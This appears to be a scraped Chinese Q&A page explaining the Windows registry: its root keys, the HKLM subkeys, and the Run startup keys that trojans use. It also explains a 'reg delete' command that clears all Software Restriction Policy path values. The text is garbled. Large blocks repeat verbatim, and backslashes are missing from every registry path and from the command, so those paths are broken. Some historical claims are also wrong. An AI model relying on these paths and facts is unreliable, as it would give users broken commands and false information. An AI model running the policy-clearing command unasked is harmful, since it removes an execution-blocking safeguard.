所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。==在windows的开始/运行菜单中输入"regedit"你就可以通过注册表编辑器看到注册表,注册表是什么呢?简单地说,它是用来对windows操作系统进行配置的一个工具.通过它,可以对操作系统及应用软件进行优化,可以自己设置windows的使用权限,可以解决硬件及网络设置不当带来的故障甚至可以改造自己的操作系统. 在windows 3.X时代,主要通过WIN.INI及SYSTEM.INI对windows进行配置,但WIN.INI及SYSTEM.INI文件存在着安全性不高,大小受限制等问题,为了解这一问题MICROSOFT公司在WINDOWS98以后的版本中引入了注册表这一便更好的对windows系统进行配置,这就是为什么我们要使用注册表的原因. 注册表的作用是保存程序所需要的信息,当程序需要这些信息时,就从注册表里读出.因此,注册表最基本的功能就是保存信息.当了解了注册表的主要功能--保存信息后,再来了解其保存信息后,再来了解保存信息所发挥的作用! 1,记录安装信息;2,设置硬件属性;3,定制WINDOWS以及应用软件. 注册表逻辑结构中最基本的是主键,子键,键值项以及键值.它们是按照分组的方式来管理和组织的.首先是最底根键, 每个根键下有若干个子键,每个子键下又可以有若干(一个或多个)子键,子键下可以有一个或多个键值项和键值. 根键:注册表中最底层的键,类似于磁盘上的根目录.子键:子键位于根键下又可以嵌套其他子键中,在注册表的六大根键中,有若干的子键,而每个子键中又可以嵌套成千上万的子键.键值项与键值:在每个根键和子键下,可以有若干键值,这种结构类似于磁盘上根目录和子目录里的文件和文件内容. windows 9x注册表逻辑结构中包含六个根键,每个根键包含着分类不同的信息!在windowsNT/2000/XP中,如果用windows自带的编辑器打开的时候,只能看到五个,还有一个隐藏的根键:HKEY_PERFOR_MANCE_DATA. *HKEY_CLASS_ROOT记录windows操作系统中所有数据文件的格式和关联信息,主要记录不同文件的文件名后缀和与之对应的应用程序其下子键可分为两类:一类是已经注册的各类文件的扩展名,这类子键前面都带有一个".";另一类是各类文件类型有关信息. *HKEY_CURRENT_USER些根根键包含当前登录用户的用户配置文件信息,这些信息保证不同的用户登录计算机时,使用自己的修改化设置,例如自己定义的墙纸,自己的收件箱,自己的安全访问权限. *HKEY_LOCAL_MACHINE此根键包含了当前计算机的配置灵气,包括所安装的硬件以软件设置.这些信息是为所有的用户登录系统服务的.这是事个注册表中最庞大也是最重要的根键! *HKEY_USERSHKEY_USERS根键包括默认用户的信息(DEFAULT子键)和所有以前登陆用户的信息. *HKEY_CURRENT_CONFIG此根键实际上是HKDY_LOCAL_MACHINE/CONFIG/0001分支下的数据完全一样. *HKEY_DYN_DATA根键这个键保存每次系统启动时,创建的系统配置和当前性能信息.这个根键只存在于windows 9X中 *HKEY_PERFORMANCE_DATA在windowsNT/2000/XP注册表中虽然没有HKEY_DYN_DAT键,但是它却隐藏了一个名为"HKEY_PERFORMANCE_DATA的键.所有系统中的动态信息都是存放在此子键中,系统自带的注册表编辑器无法看到些
2023-07-20 11:19:332

reg delete HKLMSOFTWAREPoliciesMicrosoftWindowsSaferCodeIdentifiersPaths /va

格式:REG DELETE KeyName [/v ValueName | /ve | /va] [/f] KeyName [\Machine]FullKey Machine 远程机器名 - 忽略当前机器的默认值 远程机器上只有 HKLM 和 HKU FullKey ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下的注册表项的全名 ValueName 所选项下的要删除的值的名称 省略时,该项下的所有子项和值都会被删除 /ve 删除空白值名称<no name>的值 /va 删除该项下的所有值 /f 不用提示就强行删除例如: REG DELETE HKLMSoftwareMyCoMyAppTimeout 删除注册表项 Timeout 及其所有子项和值 REG DELETE \ZODIACHKLMSoftwareMyCo /v MTU 删除 ZODIAC 上 MyCo 下的注册表项 MTU==================================================================就是删除 HKLMSOFTWAREPoliciesMicrosoftWindowsSaferCodeIdentifiersPaths该项下的所有值
2023-07-20 11:19:511

注册表如何使用

什么是注册表? 《英汉双解微软计算机辞典》(第 5 版)对注册表的定义是: Microsoft Windows 9x、Windows CE、Windows NT 和 Windows 2000 中使用的中央分层数据库,用于存储为一个或多个用户、应用程序和硬件设备配置系统所必需的信息。 注册表包含 Windows 在运行期间不断引用的信息,例如,每个用户的配置文件、计算机上安装的应用程序以及每个应用程序可以创建的文档类型、文件夹和应用程序图标的属性表设置、系统上存在哪些硬件以及正在使用哪些端口。 注册表取代了 Windows 3.x 和 MS-DOS 配置文件(例如,Autoexec.bat 和 Config.sys)中使用的绝大多数基于文本的 .ini 文件。虽然几个 Windows 操作系统都有注册表,但这些操作系统的注册表有一些区别。注册表数据存储在二进制文件中。 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 